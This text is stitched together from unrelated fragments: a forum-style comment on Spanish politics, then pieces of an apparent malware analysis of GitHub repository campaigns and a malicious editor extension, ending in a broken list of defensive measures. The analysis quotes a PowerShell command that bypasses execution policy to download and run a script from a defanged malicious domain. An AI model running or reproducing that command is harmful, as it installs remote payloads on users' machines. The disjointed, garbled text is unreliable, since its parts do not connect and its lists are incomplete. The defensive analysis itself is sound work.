It is possible and this in particular is a decision that I'm sure the US will pressure the government to reverse. However, it's misguided to see the entire world through the US political lens where reversing policy decisions is seen as a free win by the voting base. Spain's current democracy is only about fifty years old and extremism is viewed very negatively so outright undoing is generally less common then gradual undermining.
- This is a new repository, not a fork
- All repositories have different contributors and different names
From the last two points, it becomes clear that even if we find one such repository, we won’t be able to find other similar repositories using it.
In previous campaigns the repositories were linked to a few users. But those users had starred other users, that at the same time had also cloned other repositories with the malware. Sometimes the malicious repository had been cloned from another malicious repo, and if you listed the repositories and "friends" of that user, all were part of the botnet.
Also, github doesn't delete repositories and accounts, they mark them as deleted. If you use their api you can still list them.
restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
2. restrict outbound connections to known malicious IPs or domains.
3. run untrusted code/apps:
4. remove exec permissions to temporary directories (/tmp, /var/tmp, /dev/shm)